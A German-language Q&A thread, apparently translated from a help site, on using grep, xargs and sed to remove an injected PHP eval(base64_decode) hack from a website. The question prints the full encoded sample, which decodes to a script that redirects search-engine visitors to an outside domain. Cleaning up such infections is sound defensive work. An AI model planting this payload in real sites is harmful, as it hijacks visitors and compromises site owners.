grep, xargs, sed um PHP eval hack aufzuräumen

Ich versuche, die Befehle auf http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ zu verwenden, um einen PHP-basierten Hack zu bereinigen auf einer Website.

Beispielcode zum Abgleichen / Entfernen

<?php           eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9"));

Versuchter Befehl:

sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php           eval(base64_decode[^;]*;/<?php\n/g'

Das Sudo wurde hinzugefügt, da es eine Lese- / Schreibberechtigung für das Verzeichnis benötigt, auf das ich zugreife. Die Dateien werden von grep korrekt aufgelistet, aber nicht von sed geändert. Irgendwelche Vorschläge?

grep sed xargs

— roktechie
quelle

Ich denke, der doppelte Gebrauch von sudoist der Täter. Ich konnte Ihre Befehle ohne sie zum Laufen bringen.

Versuchen Sie sudo -s, eine neue Shell zu öffnen, und führen Sie die weitergeleiteten Befehle dann selbst aus.

sudo -s
grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | xargs sed -i.bak 's/&lt;?php           eval(base64_decode[^;]*;/&lt;?php\n/g'

Hinweis: Ich habe festgestellt, dass Sie \nnicht ganz richtig herausgekommen sind. Doppelter Backslash, und Sie sollten in Ordnung sein.

— LazyMonkey
quelle

Ich dachte, das könnte das Problem sein, aber die Lösung funktioniert leider nicht. sed: kann /home/user/webdir/wp-content/themes/index.php nicht lesen: Erlaubnis verweigert

— roktechie

@roktechie: Wenn Sie (nur) Ihren grep –l…Befehl ausführen ( sudoggf. für Lesezugriff verwenden), wählen Sie eine der aufgelisteten Dateien aus, und geben Sie den sudo sed –i.bak …Dateinamen gefolgt von diesem ein. Was passiert dann?

— Scott

sudo -ssollten Sie auf diesem System rooten, damit Sie lesen / schreiben können, was Sie wollen. Wenn root nicht auf etwas zugreifen kann, chmodsollten Sie sich davon lösen. (Wenn es sich um ein RO-Dateisystem handelt, cat /etc/fstabsollte sich das zeigen.)

— LazyMonkey